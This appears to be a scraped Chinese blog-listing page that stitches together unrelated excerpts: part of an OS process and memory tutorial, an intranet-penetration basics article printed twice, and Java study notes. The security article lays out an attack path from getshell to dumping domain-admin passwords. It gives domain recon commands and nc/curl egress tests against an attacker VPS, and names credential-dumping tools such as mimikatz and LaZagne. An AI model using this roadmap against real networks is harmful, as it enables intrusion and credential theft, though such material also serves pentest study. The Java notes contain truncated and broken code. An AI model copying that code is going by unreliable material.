相当于读档.记账信息:操作系统统计每个进程在CPU上的占用的时间以及指令数目, 根据这个来决定下一阶段如何调度.举一个形象的场景来进行理解:比如有三个进程A, B, C, 不妨将操作系统比作一个小姐姐, 将线程A, B, C比作三位小哥哥, A特别帅, B特别有钱, C特别会舔.这位小姐姐同时与A, B, C 一起谈恋爱, 那么这里小姐姐姐如何同时谈三个男朋友呢, 其实也很简单, 小姐姐只需要做好对ABC的时间管理即可, 让ABC都不知道对方的存在.所以小姐姐需要妥善地安排与三位小哥哥谈恋爱的时间, 确保时间不能重合, 比如:因为小姐姐特别喜欢帅的, 其次是有钱的, 最后是会舔的, 所以小姐姐对A, B, C的安排有了优先级, 给A安排的时间多一点, B次之, C最后。此时小姐姐做了一周时间的规划表, 属实是时间管理大师了.时间计划星期一与C谈恋爱星期二到星期三与B谈恋爱星期四到星期六与A谈恋爱星期日休息此时小姐姐这个时间规划, 就是可以理解为进程的调度, 谈恋爱期间, 如果B需要出差一个月, 那么在小姐姐眼中, B这种状态就称为阻塞或睡眠状态, 如果正常, 男朋友可以随叫随到, 则在小姐姐眼中就称这种状态为就绪状态, 小姐姐正在与A谈恋爱的状态称为运行状态.小姐姐与三位小哥哥同时谈恋爱, 总会有时候"串戏", 比如A需要带小姐姐回家见家长, 让小姐姐准备准备一份礼物, 而B想要带小姐姐去三亚旅游, 要小姐姐做好准备,但是有一天A问小姐姐准备好没?小姐姐说我买了两件泳衣, 这样就 “串戏” 了, 小姐姐最后总算将A忽悠过去了, 小姐姐吸取了教训, 之后每次都会将上次和某人进行到啥程度了, 是否有啥未完成的任务之类的记录下来, 下次约会的时候, 能够恢复出之前的状态, 这样小姐姐在之后就不会串戏了, 这个场景就可以看作是操作系统中的上下文了.小姐姐和ABC都已经相处了一段时间了, 就需要去想一想, 也就是每隔一段时间,做个总结, 统计一下在每个人身上大概花费了多少精力, 然后根据这个总结做出下一个阶段的时间安排, 要保证和每个人要始终保持好一个合适的尺度, 不能太远也不能太近, 这便可以看作是进程调度中的记账信息了.3.4 内存管理我们通过代码程序所获取的内存地址, 其实不是硬件上真真实实的地址, 而是经过一些计算整合出来的虚拟地址.内存(物理上是一个内存条), 其中可以存很多数据, 内存就可以想象成是一个大走廊, 走廊非常长, 有很多房间, 每个房间大小是1Byte, 每个房间还有个编号, 从0开始依次累加, 这个内存编号就是"地址", 这个地址也就"物理地址".下面张图就是真实的内存条.内存有个了不起的特性就是随机访问, 访问内存上的任意地址的数据, 速度都极快, 时间上都差不多, 正是这个特点造就了数组取下标操作的时间复杂度是 O(1).我们的程序如果直接访问的就是物理地址, 如果程序正常运行还好, 但如果代码出bug了, 就可能出现越界访问的情况, 就可能会对其他进程的数据做出一些操作, 比如进程1的指针变量因为bug变成了0x8000, 也就是说这里明明是进程1的bug却把进程给搞坏了.为了避免这种问题的出现, 针对进程使用的内存空间进行了"隔离", 引入了虚拟地址空间.代码里不再直接使用真实的物理地址了, 而是使用虚拟的地址; 由操作系统和专门的硬件设备负责进行虚拟地址到物理地址的转换.这里引入的虚拟空间地址, 对物理地址进行隐藏和隔离, 避免进程之间的相互影响, MMU硬件设备(很多时候是集成在CPU里的), 可以让虚拟地址和物理地址的转换速度更快.当我们操作系统内核发现转换后的地址超过了该进程物理地址的访问范围, 就会直接向进程反馈一个错误, 进而引发该进程崩溃, 不会影响到其他进程.3.5 进程间的通信上面引入的虚拟空间地址使进程之间相互隔离, 这就导致每个进程只能访问自己的那一块地址空间的数据, 无法访问其他进程的地址空间的数据, 这样当一个进程崩溃时, 另外的进程不会受到影响.但是, 在实际开发工作中, 有些时候进程间需要进行数据的交互的, 为了实现进程间的通信, 操作系统提供了一块多个进程都能访问到的 “公共空间” , 进程A可以先把数据存入 “公共空间” , 然后进程B可以到 “公共空间” 取出数据, 这样就实现了进程间的通信.操作系统提供的 “公共空间/通信方式” 有很多种具体的体现形式, 现在最常见的进程间通信机制有:基于文件操作.基于网络操作(socket).3.6 并发编程CPU进入了多核心的时代, 要想进一步提高程序的执行速度, 就需要充分的利用CPU的多核资源, 这个时候并发编程就应用而生了; 引入进程的概念, 最主要的目的是为了解决"并发编程" 这样的问题, 让代码程序能够把这些CPU核心充分利用.其实多进程编程已经可以将cpu的多核资源利用起来了, 可以解决并发编程的问题了, 但还是存在一些问题, 进程的创建需要分配资源, 进程的销毁需要回收资源, 而分配和回收资源的效率相对来说是比较低的, 也就是说进程的创建,销毁,调度的开销都是比较大的, 成本是比较高的.问题解决:方案1:使用进程池, 与字符串常量池类似, 将已经创建的进程存入常量池, 后面需要使用时直接加载资源即可, 但是也存在问题, 那就是闲置的进程也会占用资源, 相当于空间换时间, 消耗空间来提升效率.方案2:使用多线程来实现并发编程, 因为进程包含线程, 一个进程中包含多个线程,所以线程比进程更轻量,因此也将线程称为 “轻量级进程”, 线程把申请资源/释放资源的操作给省下了, 这就致使线程的创建,销毁,调度的成本很低, 速度更快, 所以使用多线程实现并发编程比多进程更加合适.类比以下场景进行理解多线程:我们把进程看做一个工厂, 线程看作工厂中的生产线, 比如有一个任务需要生产一些硬件设备, 想要生产速度更快, 有两个方案:建造两个工厂进行生产.只建造一个工厂, 多增加一批生产线.上面两种方案都以相同的效率生产设备, 但是方案1需要多建造一个工厂; 方案2只需要增加一批生产线, 复用同一个工厂的资源即可(原料, 运输资源等), 而方案1较之方案2的付出的代价更大, 类比一下方案1表示就是多进程实现并发编程, 方案2表示的是多线程实现并发编程.4. 进程与线程的区别进程包含线程, 一个进程包含一个或者多个线程.进程间是独立的, 每个进程都有独立的地址空间, 一个进程崩溃不会影响其余的进程, 但是在同一个进程中, 多个线程是共用的是一块资源, 一个线程崩溃, 这个进程中的所有线程都会崩溃.进程是操作系统分配资源的基本单位, 线程是操作系统调度执行的基本单位.多进程相比于多线程不会存在线程安全的问题, 多线程编程可能存在线程安全问题.
文章
安全  ·  Java  ·  Linux  ·  程序员  ·  API  ·  调度  ·  C语言  ·  Android开发  ·  C++  ·  Windows
2023-02-09
【内网安全-基础】基础知识、信息收集、工具
一、基础知识1、内网:1、也称局域网(Local Area Network,LAN),是某一区域内由多台计算机互连而成的计算机组———2、在局域网中,可实现管理、共享、打印等服务————3、封闭性(防止外部网络攻击,信息泄露等。但如果所有所有网络都不可达,岂不是都没网,那还能干啥,像学校机房等)2、工作组:1、一种资源管理模式,为方便管理,将不同类型的设备按功能分别列入不同的组中————2、"计算机"--->"属性"--->"更改"(有则加入对应组,无则新建组)————3、A-G-DL-P策略:将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限A(account),表示用户账号 G(Globalgroup),表示全局组 U(Universalgroup),表示通用组 DL(Domainlocalgroup),表示域本地组 P(Permission许可)表示资源权限3、域(Domain):1、是一个有安全边界的计算机集合,用户访问域内资源,需要合法的身份登录域(不同身份有不同权限)————2、域控制器(DC)(域中一台管理服务器的计算机,负责所有连入的验证;存储这个域的账户、密码、计算机等信息)———3、域树:若干个域通过建立信任关系而组成的集合(域管理员只能管理本域,不能管理其他域。但两域之间相互访问,则需要建立信任关系),多个域树连接在一起称为域森林————4、域名服务器(DNS),用于实现域名和与之相对应的IP地址转换(即用来定位域控制器、服务器及其他计算机、网络服务等;且DNS服务器和域控制器通常配置在同一台机器上) ———5、活动目录(AD),域环境中提供目录服务的组件(集中式管理机制,如账号、软件、环境等),存储用户、组、计算机、共享资源等信息。(安装了AD的计算机简称DC,存储活动目录数据库的计算机)———6、DMZ区域:(学理论的时候书上有介绍)渗透的顺序:外网--->防火墙--->DMZ区域(有很多防护工具)--->防火墙--->内网————7、域计算机分类:域控制器、成员服务器、客户机、独立服务器(未加入域)————8、域内权限本地域组: Administrators 管理员组 Remote Desktop Users 远程登录组 Print Operators 打印机操作员组 Account Operators 帐号操作员组 Server Operaters 服务器操作员组 Backup Operators 备份操作员组 全局组、通用组: Domain Admins 域管理员组 Enterprise Admins 企业系统管理员组 Schema Admins 架构管理员组 Domain Users 域用户组9、渗透思路:外网getshell控制域成员主机(跳板)--->找到域控制器、管理员账号--->定位出域管理员登陆过的主机ip(域管理员可以登陆域内任意主机)--->从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网二、基础信息收集1、判断是否在域内1、net time /domain(显示主域控制器的时间)若未加入域,则提示找不到域控制器若加入了域(为本地用户或管理员),则提示拒绝访问若加入了域(为域用户),则显示域控的时间————2、ipconfig /all(并查看其中windows ip配置)若未加入域,则"主DNS后缀"为空(无论主机网卡有没有自定义dns服务器ip)若加入了域,"主DNS后缀"都为域名(无论当前用户为域用户还是本地用户)————3、systeminfo若未加入域,则"域"显示WORKGROUP若加入了域,则"域"显示域名(无论什么用户登陆)2、机器角色判断如个人PC,网站服务器,开发测试服务器,公共服务器,文件服务器,代理服务器,DNS服务器、存储服务器等————判断(综合以下进行全面的判断):1、通过主机名(开发服务器就是dev , Web服务器可能是web或者app,存储服务器可能是NAS,文件服务器可能是fileserver等)2、通过特定文件(与服务器功能相关的文件)3、通过网络的连接端口,根据默认端口进行推测(更新服务器WSUS开放端口可能是8530,DNS服务器可能开放53端口等)3、出网协议判断当以下协议均不行时,需要在内网中寻找到一台可以出网的机器tcp协议 外网vps nc –lvp port 内网机器 nc ip port dns协议 外网vps nc –u –lvp 53 内网机器 windows nslookup www.baidu.com vps_ip linux dig @vps-ip www.baidu.com http协议 外网vps nc –lvp port 内网机器 curl vps_ip:port icmp协议 外网vps 抓包、tcpdump icmp 内网机器 ping4、端口判断1、少量端口判断:外网vps监听,内网测试2、大量端口判断:端口扫描器三、常规信息收集1、常用命令2、常用命令应用&服务&权限 systeminfo 详细信息 netstat -ano 端口列表 route print 路由表 net start 启动服务 tasklist 进程列表 schtasks 计划任务 ipconfig /all 判断存在域 net view /domain 判断存在域 net time /domain 判断主域 netstat -ano 当前网络端口开放 nslookup 域名 追踪来源地址 wmic service list brief 查询本机服务 net config workstation 查询当前登录域及登录用户信息 wmic startup get command,caption 查看已启动的程序信息 网络&用户&域控 net view /domain 查询域列表 net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器 net localgroup administrators 本机管理员【通常含有域用户】 net user /domain 查询域用户(当前域) net group /domain 查询域工作组 net group "domain computers" /domain 查看加入域的所有计算机名 net group "domain admins" /domain 查询域管理员用户组和域管用户 net localgroup administrators /domain 查看域管理员 net group "domain controllers" /domain 查看域控 net accounts /domain 查看域密码策略 密码&凭据&口令 1、用户HASH,明文获取-mimikatz(win),mimipenguin(linux) https://github.com/gentilkiwi/mimikatz/ https://github.com/huntergregal/mimipenguin 2、各种协议服务口令获取-LaZagne(all),XenArmor(win),CS插件 https://github.com/AlessandroZ/LaZagne/ https://xenarmor.com/allinone-password-recovery-pro-software/ 3.站点源码备份文件、数据库备份文件等 4.各类数据库Web管理入口,如PHPMyAdmin 5.浏览器保存密码、浏览器Cookies 6.其他用户会话、3389和ipc$连接记录、回收站内容 7.Windows 保存的WIFI密码 8.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等3、工具&插件LadonGOhttps://github.com/k8gege/LadonGoLadonGO 4.2 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架,Windows/Linux/Mac内网渗透,使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010、SmbGhost,远程执行SSH/Winrm,密码爆破SMB/SSH/FTP/Mysql/Mssql/Oracle/Winrm/HttpBasic/Redis,端口扫描服务识别PortScan指纹识别/HttpBanner/HttpTitle/TcpBanner/Weblogic/Oxid多网卡主机,端口扫描服务识别PortScan。————CS插件LSTAR Ladon OLa TaoWu等————Adfind域内查询信息的工具Download AdFind 1.57.00 (softpedia.com)————BloodHoundhttps://github.com/BloodHoundAD/BloodHound使用图论来揭示活动目录或 Azure 环境中隐藏的、经常是意想不到的关系。攻击者可以使用侦探犬轻松识别高度复杂的攻击路径
文章
存储  ·  网络协议  ·  安全  ·  Oracle  ·  关系型数据库  ·  生物认证  ·  网络安全  ·  文件存储  ·  数据安全/隐私保护  ·  Windows
2023-02-11
【内网安全-基础】基础知识、信息收集、工具
@[toc]一、基础知识1、内网:1、也称局域网(Local Area Network,LAN),是某一区域内由多台计算机互连而成的计算机组————2、在局域网中,可实现管理、共享、打印等服务————3、封闭性(防止外部网络攻击,信息泄露等。但如果所有所有网络都不可达,岂不是都没网,那还能干啥,像学校机房等)2、工作组:1、一种资源管理模式,为方便管理,将不同类型的设备按功能分别列入不同的组中————2、"计算机"--->"属性"--->"更改"(有则加入对应组,无则新建组)————3、A-G-DL-P策略:将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限A(account),表示用户账号G(Globalgroup),表示全局组U(Universalgroup),表示通用组DL(Domainlocalgroup),表示域本地组P(Permission许可)表示资源权限3、域(Domain):1、是一个有安全边界的计算机集合,用户访问域内资源,需要合法的身份登录域(不同身份有不同权限)————2、域控制器(DC)(域中一台管理服务器的计算机,负责所有连入的验证;存储这个域的账户、密码、计算机等信息)————3、域树:若干个域通过建立信任关系而组成的集合(域管理员只能管理本域,不能管理其他域。但两域之间相互访问,则需要建立信任关系),多个域树连接在一起称为域森林————4、域名服务器(DNS),用于实现域名和与之相对应的IP地址转换(即用来定位域控制器、服务器及其他计算机、网络服务等;且DNS服务器和域控制器通常配置在同一台机器上) ————5、活动目录(AD),域环境中提供目录服务的组件(集中式管理机制,如账号、软件、环境等),存储用户、组、计算机、共享资源等信息。(安装了AD的计算机简称DC,存储活动目录数据库的计算机)————6、DMZ区域:(学理论的时候书上有介绍)渗透的顺序:外网--->防火墙--->DMZ区域(有很多防护工具)--->防火墙--->内网————7、域计算机分类:域控制器、成员服务器、客户机、独立服务器(未加入域)————8、域内权限本地域组:Administrators 管理员组Remote Desktop Users 远程登录组Print Operators 打印机操作员组Account Operators 帐号操作员组Server Operaters 服务器操作员组Backup Operators 备份操作员组全局组、通用组:Domain Admins 域管理员组Enterprise Admins 企业系统管理员组Schema Admins 架构管理员组Domain Users 域用户组9、渗透思路:外网getshell控制域成员主机(跳板)--->找到域控制器、管理员账号--->定位出域管理员登陆过的主机ip(域管理员可以登陆域内任意主机)--->从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网二、基础信息收集1、判断是否在域内1、net time /domain(显示主域控制器的时间)若未加入域,则提示找不到域控制器若加入了域(为本地用户或管理员),则提示拒绝访问若加入了域(为域用户),则显示域控的时间————2、ipconfig /all(并查看其中windows ip配置)若未加入域,则"主DNS后缀"为空(无论主机网卡有没有自定义dns服务器ip)若加入了域,"主DNS后缀"都为域名(无论当前用户为域用户还是本地用户)————3、systeminfo若未加入域,则"域"显示WORKGROUP若加入了域,则"域"显示域名(无论什么用户登陆)2、机器角色判断如个人PC,网站服务器,开发测试服务器,公共服务器,文件服务器,代理服务器,DNS服务器、存储服务器等————判断(综合以下进行全面的判断):1、通过主机名(开发服务器就是dev , Web服务器可能是web或者app,存储服务器可能是NAS,文件服务器可能是fileserver等)2、通过特定文件(与服务器功能相关的文件)3、通过网络的连接端口,根据默认端口进行推测(更新服务器WSUS开放端口可能是8530,DNS服务器可能开放53端口等)3、出网协议判断当以下协议均不行时,需要在内网中寻找到一台可以出网的机器tcp协议外网vps nc –lvp port内网机器 nc ip portdns协议外网vps nc –u –lvp 53内网机器windows nslookup www.baidu.com vps_iplinux dig @vps-ip www.baidu.comhttp协议外网vps nc –lvp port内网机器 curl vps_ip:porticmp协议外网vps 抓包、tcpdump icmp内网机器 ping4、端口判断1、少量端口判断:外网vps监听,内网测试2、大量端口判断:端口扫描器三、常规信息收集1、常用命令2、常用命令应用&服务&权限systeminfo 详细信息netstat -ano 端口列表route print 路由表net start 启动服务tasklist 进程列表schtasks 计划任务ipconfig /all 判断存在域net view /domain 判断存在域net time /domain 判断主域netstat -ano 当前网络端口开放nslookup 域名 追踪来源地址wmic service list brief 查询本机服务net config workstation 查询当前登录域及登录用户信息wmic startup get command,caption 查看已启动的程序信息网络&用户&域控net view /domain 查询域列表net time/domain 从域控查询时间,若当前用户是域用户会从域控返回当前时间,亦用来判 断主域,主域一般用做时间服务器net localgroup administrators 本机管理员【通常含有域用户】net user /domain 查询域用户(当前域)net group /domain 查询域工作组net group "domain computers" /domain 查看加入域的所有计算机名net group "domain admins" /domain 查询域管理员用户组和域管用户net localgroup administrators /domain 查看域管理员net group "domain controllers" /domain 查看域控net accounts /domain 查看域密码策略密码&凭据&口令1、用户HASH,明文获取-mimikatz(win),mimipenguin(linux)https://github.com/gentilkiwi/mimikatz/https://github.com/huntergregal/mimipenguin2、各种协议服务口令获取-LaZagne(all),XenArmor(win),CS插件https://github.com/AlessandroZ/LaZagne/https://xenarmor.com/allinone-password-recovery-pro-software/3.站点源码备份文件、数据库备份文件等4.各类数据库Web管理入口,如PHPMyAdmin5.浏览器保存密码、浏览器Cookies6.其他用户会话、3389和ipc$连接记录、回收站内容7.Windows 保存的WIFI密码8.网络内部的各种帐号和密码,如:Email、VPN、FTP、OA等3、工具&插件LadonGOhttps://github.com/k8gege/LadonGoLadonGO 4.2 Pentest Scanner framework 全平台Go开源内网渗透扫描器框架,Windows/Linux/Mac内网渗透,使用它可轻松一键批量探测C段、B段、A段存活主机、高危漏洞检测MS17010、SmbGhost,远程执行SSH/Winrm,密码爆破SMB/SSH/FTP/Mysql/Mssql/Oracle/Winrm/HttpBasic/Redis,端口扫描服务识别PortScan指纹识别/HttpBanner/HttpTitle/TcpBanner/Weblogic/Oxid多网卡主机,端口扫描服务识别PortScan。CS插件LSTAR Ladon OLa TaoWu等Adfind域内查询信息的工具Download AdFind 1.57.00 (softpedia.com)BloodHoundhttps://github.com/BloodHoundAD/BloodHound使用图论来揭示活动目录或 Azure 环境中隐藏的、经常是意想不到的关系。攻击者可以使用侦探犬轻松识别高度复杂的攻击路径
文章
存储  ·  网络协议  ·  安全  ·  关系型数据库  ·  Linux  ·  网络安全  ·  数据库  ·  文件存储  ·  数据安全/隐私保护  ·  Windows
2023-02-03
Java学习笔记
 本文是学习Java所做的笔记,包括JDK的下载,java基础语法,面向对象的有关内容,异常处理和Java的常用API原是自己记录的笔记,为了更适宜阅读,会不断进行优化修改编辑更羡慕街边咖啡座里的目光,只一闪。便觉得日月悠长、山河无恙。                                                     ——余秋雨                                                                                      Java简介Java是指印度尼西亚爪哇岛的咖啡传说詹姆斯·戈士林就是在喝咖啡的过程中找到了灵感在IT领域,一提到Java,人们就像喝过咖啡一样兴奋起来编辑爪哇咖啡产于印尼爪哇岛,属于阿拉比卡种咖啡。烘焙后苦味极强而香味极清淡,无酸味。爪哇咖啡的苦、醇,加上巧克力糖浆的甜浓,使爪哇咖啡更甘醇顺口。我用咖啡拉花拉出白色的线煮一杯眷恋,你侧脸在咖啡表面形成了思念形成怀念。 语言发展史java语言在1996发布,发明者是詹姆斯·戈士林编辑java5.0更新力度非常大,使java进入了发展的快车道java8.0是公司使用最多的版本java11.0用来初学Java语言跨平台原理1.平台:指的是操作系统,可以在任意操作系统上运行Windows,macos2.需要一个翻译:Window版本的JVM,maocos版本的JVM,Linux版本的JVMJRE和JDK1.JRM是程序的运行时环境,包含JVM和运行时需要的核心类库(Java Runtime Environment)JRE(Java Runtime Environment)想要运行java程序安装JRE就可以2.JDK是Java程序的开发工具包,包含JRE和开发人员使用的工具(Java Development Kit)包括编译工具(Javac.exe Java.exe)开发一个全新的Java程序需要JDK3.JDK包含JRE和开发工具_JDK的下载和安装下载JDK点击这里安装路径不要有中文和空格常用dos命令1.打开命令提示符窗口win+R,输入cmd2.c盘切换到e盘,e:dir查看当前文件夹下面的文件夹cls清屏exit关闭窗口_PATH环境变量的配置左键我的电脑,选择属性,高级系统设置Java编程1.需要三个步骤:编写程序,编译程序,运行程序2.编译程序需要javac,运行程序需要java3.Helloworld案例的编写新建文本文档。修改名称为Helloworld.java记事本打开Helloworld.java,输入程序的内容4.具备识别bug的能力,具备分析bug的能力,具备分析bug的能力Notepad软件的安装和使用显示行号注释1.在程序指定位置的说明性信息单行注释//多行注释/* */文档注释/** */java程序中最基本的组合是类,类的定义格式是public class 类名{}main方法是程序的入口方法关键字1.java语言赋予特定含义的单词2.关键字全部小写常量1.不变的值是常量2.字符串常量(双引号括起来的量),整数常量,小数常量,字符常量(单引号括起来的量),布尔常量,空常量3.空常量不能直接输出,布尔常量可以直接输出数据类型1.java是强制类型语言,对于每一种数据都给出了明确的数据类型,不同的数据类型也分配了不同的内存空间,所以它们表示的数据类型也是不一样的2.基本数据类型:数值型(整数,浮点数,字符),非数值型(布尔),引用数据类型(类,接口,数组)变量1.在程序运行过程中,其值可以发生改变的量。本质上讲,变量是内存中的一小块区域2.变量名,数据类型,值。3.取值和修改值变量使用时的注意事项4.long 1=10000000000;会报错因为默认为int类型long 1=10000000000L;定义float类型的变量float f=13.14;会报错应定义为float f=13.14F;5.名字不能重复变量未赋值,不能使用long类型的变量定义的时候,为了防止整数过大,后面加Lfloat类型的变量定义的时候,为了防止类型不兼容,后面加F标识符1.由数字,字母,下划线,美元$组成2.不能以数字开头,不能是关键字,区分大小写3.常见的命名约定小驼峰命名法(针对方法和变量命名的):一个单词的时候首字母小写多个单词组成的时候,第一个单词首字母小写,其余单词首字母大写,例如firstName大驼峰命名法(根据类命名):一个单词的时候,首字母大写多个单词的时候,每个单词首字母大写类型转换1.类型转换的分类自动类型转换把一个表示数据范围小的数据或者变量赋值给另一个表示数据范围大的变量byte-short-int-long-float-doublechar-int-long-float-doublebyte不能转换为char2.强制类型转换,把一个表示数据范围大的数值或者变量赋值给另一个表示数据范围小的变量运算符1.加减乘除取余整数相除得到整数,要想得到小数必须有浮点数的参与2.字符的+操作字符0是48,字符a是97,字符A是65byte,short,char类型会提升到int类型3.字符串的+操作“Hello”+“World”=Hello world"Orz"+666=Orz666做的是字符串的拼接“Orz”+6+66=Orz6661+99+“Orz”=100Orz先有整数加法会先执行整数加法数据输入scanner使用的基本步骤import java.util.scanner导包:导包的动作必须出现在类定义上面创建对象:Scanner sc=new Scanner(system.in);接收数据:int i=sc.nextInt();三元运算符1.关系表达式?表达式1:表达式2三个和尚升级版1.身高测量的输出首先导包,然后创建对象import java.util.scanner;Scanner sc=new Scanner(System.in);键盘录入三个身高赋值给三个变量int height1=sc.nextlnt();int height2=sc.nextlnt();int height3=sc.nextlnt();顺序结构流程控制语句的分类顺序结构循环结构条件结构选择结构1.if(关系表达式){语句体;}2.if_else结构3.if...else if...if结构4.switch语句循环结构for循环结构while循环do...whileRandom1.用于产生一个随机数导包import java.util.Random创建对象Random r=new random();获取随机数int number=r.nextInt();获取的数据范围是0到9的随机数IDEA1.IDEA概述和安装:是用于java语言的集成开发环境,它是业界公认的目前用于Java程序开发的工具集成环境:把代码编写,编译,执行,调试等多种功能综合到一起的开发工具下载位置IntelliJ IDEA – the Leading Java and Kotlin IDE2.IDEA中的helloworld步骤创建一个空项目JavaSE_Code创建一个新模块idea_test在idea_test模块下的src下创建一个包(com.itheima)在com.itheima下建立一个类(Hello world)在Helloworld类中编写代码在idea中执行程序数组1.一次性声明大量的用于存储数据的变量要存储的数据通常都是同类型数据,例如:考试成绩2.数组定义格式:数据类型[] 变量名int[] arr定义了一个int类型数据类型 变量名[]int arr[]定义了一个int类型的变量,变量名是arr数组3.数组初始化java中的数组必须初始化然后才能使用4.数组动态初始化数据类型[] 变量名=new 数据类型[数据长度];int[] arr=new int[3];左边:int说明数组中的元素类型是int类型[]说明这是一个数组arr是数组的名称右边new为数组申请内存空间int说明数组中的元素类型是int类型[]说明是一个数组3数组长度5.数组元素访问数组变量的访问方式格式:数组名索引是数组中数据的编号方式索引是连续的6.输出数组中的元素7.内存分配Java程序在运行时,需要在内存中分配空间。为了提高运算效率,就对空间进行了不同区域的划分int[] arr会开辟一块内存空间,叫栈内存,存储局部变量new int[3]会开辟另一块内存空间,并用一个内存地址标记,会将这个内存地址交给int[] arr,叫堆内存,存储new出来的内容(实体,对象)局部变量是定义在方法中的变量,例如arr,使用完毕,立即消失8.单个数组内存图int arr[]=new int[3];9.多个数组的内存图10.多个数组指向相同的内存图int[] arr2=arr;11.数组静态初始化数据类型[] 变量名=new 数据类型[]{数据1,数据2,数据3,数据4......};12.数组操作中的两个常见小问题越界访问空指针异常:访问的数组已经不再指向堆内存的数据,造成空指针异常13.遍历14.获取数组元素的数量数组名.length范例:arr.lengthint arr={11,22,33,44,55};for(int x=0;x•   System.out.println(arr[x]);}15.获取最值int[] arr={12,45,98,73,60};int max;int max=arr[0];for(int x=1;x if(arr[x]>max){•   max=arr[x];•   }}方法方法概述int a;int b;int max=a>b?a:b;System.outprintln("max"+max)可以打包为一个方法方法是具有独立的代码块组织成为一个整体,使其具有特殊功能的代码集。方法必须先创建才能使用,该过程称为方法定义。方法创建后并不是直接运行,需要手动使用后才能执行,该过程称为方法调用。方法定义和调用方法定义public static void 方法名(){//方法体}方法调用方法名();需求定义一个方法,在方法中定义一个变量,判断该数据是否是偶数方法必须先定义后调用方法调用过程public class MethodDemo{•   public static void main(String[] args){•       is EvenNumber();•   }}public static void isEvennumber(){•   int number=10;•   if(number%2==0){•       System.out.println(true);•   }•   else{•       System.out.println(false);•   }}带参数方法的定义和调用public static void 方法名(数据类型,变量名){}调用方法(变量名/常量值);形参和实参1.形参:方法定义中的参数2.实参:方法调用中的参数带返回值方法的定义和调用boolean flag=isEvenNumber(5);方法注意事项1.方法不能嵌套定义,方法里面不能定义方法2.void可以不写return,可以写单独的return;方法的通用格式public static 返回值类型 方法名(参数){ 方法体return 数据;}public static是修饰符方法重载1.public class MethodDemo{public static int sum(int a,int b){•   return a+b;}public static int sum(int a,int b,int c){•   return a+b+c;}}方法重载指的是一个类中定义的多个方法之间的关系,满足下列条件的多个方法相互构成重载1.多个方法在同一个类中2.多个方法有相同的方法名3.多个方法的参数不相同,类型不同或数量不同方法重载的特点1.重载仅对应方法的定义,与方法的调用无关,调用方式参照标准格式2.重载仅针对同一个类中方法的名称与参数进行识别,与返回值无关,不根据返回值判定两个方法是否构成重载方法的参数传递方法参数传递的基本类型基本数据类型的参数,形式参数的改变,不影响实际参数的值方法参数传递引用类型1.syso输出语句2.对于引用类型的参数,形式参数的改变,影响实际参数的值public sattic void 方法名(int[] arr){ }System.out.println("内容");输出换行System.out.print("内容");输出不换行System.out.println();起到换行的作用Debug1.Debug是供程序员使用的调试工具,它可以用于查看程序的执行流程,也可以追踪程序执行过程来调试程序2.差看程序执行流程面向对象基础类和对象万物皆对象面向对象的编程是面向一个对象说的类是对现实生活中一类具有共同属性和行为的事物的抽象类的特点类是对象的数据类型类是具有相同属性的一组对象的集合属性:对象具有的各种特征,每个对象的每个属性都有特定的值行为:对象能执行的操作类和对象的关系类:类是对现实生活中一类具有共同属性和行为的事物的抽象对象:是能够看得见摸的着的真实存在的实体类是对象的抽象,对象是类的实体类的定义类的重要性:类是Java程序的基本组成单位类的组成:属性和行为属性:在类中通过成员变量来实现(类中方法外的变量)行为:在类中通过成员方法来体现(和前面的方法相比去掉了static关键字)类的定义public class 类名{//成员变量//成员方法}public class phone{•   String brand;•   int price;•   public void call{•       SYstem.out.println("打电话");•   }•   public void sendMessage{•       SYstem.out.println("发短信");•   }}对象的使用创建对象格式:类名 对象名=new 类名();范例 phone p=new phone();public class PhoneDemo{•   public static void main(String[] args){•       //创建对象•       Phone p=new Phone();•       //使用成员变量•       System.out.println(p.brand);•       System.out,println(p.price);•       p.call();•       p.SendMessage();•   }}private关键字1.是一个权限修饰符,可以修饰成员,作用是保护成员不被别的类使用。2.被private修饰的成员只能在本类中才能访问。3.针对private修饰的变量,如果需要被其他类使用,提供相应的操作提供get变量名()方法,用于获取成员变量的值,方法用public修饰提供set变量名(参数)方法用于设置成员变量的值,方法用public使用this关键字1.形参如果与成员变量同名,不带this修饰的变量是形参,方法内用this修饰就是成员变量,否则就是局部变量2.没有同名,不带this修饰代表的也是成员变量3.方法被哪个对象调用,this就代表哪个对象构造方法的注意事项1.构造方法可以给成员变量赋值2.如果没有定义构造方法,系统将给出一个默认的无参构造方法。3.如果自定义了带参构造方法还要使用无参构造方法,就必须再写一个无参数构造方法标准类制作1.成员变量使用private修饰2.公祖奥方法提供一个无参构造方法提供一个带多个参数的构造方法API1.应用程序编程接口java API就是JDK中提供的各种功能的Java类2.使用打开帮助文档String1.代表字符串,java程序中所有的字符串都被实现为此类的实例2.在java.lang包下面3.字符串不可变,他们的值在创建后不能被更改虽然string的值不可变,但是它们可以被共享效果上相当于字符数组,实际上是字节数组string是构造方法1.public String()创建一个空白字符串对象,不含任何内容public String(char[] chs)根据字符数组的内容,来创建字符串对象public String(byte[] bys)根据字节数组的内容,来创建字符串对象String s="abc"String字符串的比较1.基本类型:比较的是数据值是否相同引用类型:比较的是地址值是否相同2.字符串是对象,它比较内容是否相同,是通过一个方法来实现,这个方法叫做equals()public boolean equals(Object anObject):将此字符串与指定对象进行比较。由于我们比较的是字符串对象,所以参数直接传递一个字符串。StringBuilder和String相互转化String s=sb.toString();StringBuilder sb=new Stringbuilder(s);Stringbuilder sb=new Stringbuilder("hello");sb.append();sb.reverse();字符串拼接翻转1.定义一个int类型的数组,通用静态初始化完成数组元素的初始化2.定义一个方法,用于把int数组中的数据按照指定的格式拼接成一个字符串返回。返回类型值String,参数列表int[] arr3.在方法中用StringBuilder按照要求进行拼接,并把结果转成String返回4.调用方法,用一个变量接受结果5.输出结果定义方法先明确返回值类型和参数代码实现public static String arrayToString(int[] arr){•   StringBuilder sb =new StringBuilder();•   sb.append("[");•   for(int i=0;i•       if(i=arr.length-1){•               sb.append(arr.length[i]);•       }•       else{•           sb.append(arr[i]).append(", ");•       }•   }}翻转字符串pubilic static String myReverse(String s){•   StringBuilder sb=new StringBuilder(s);•   sb.reverse();•   String ss=sb.toString();•   return 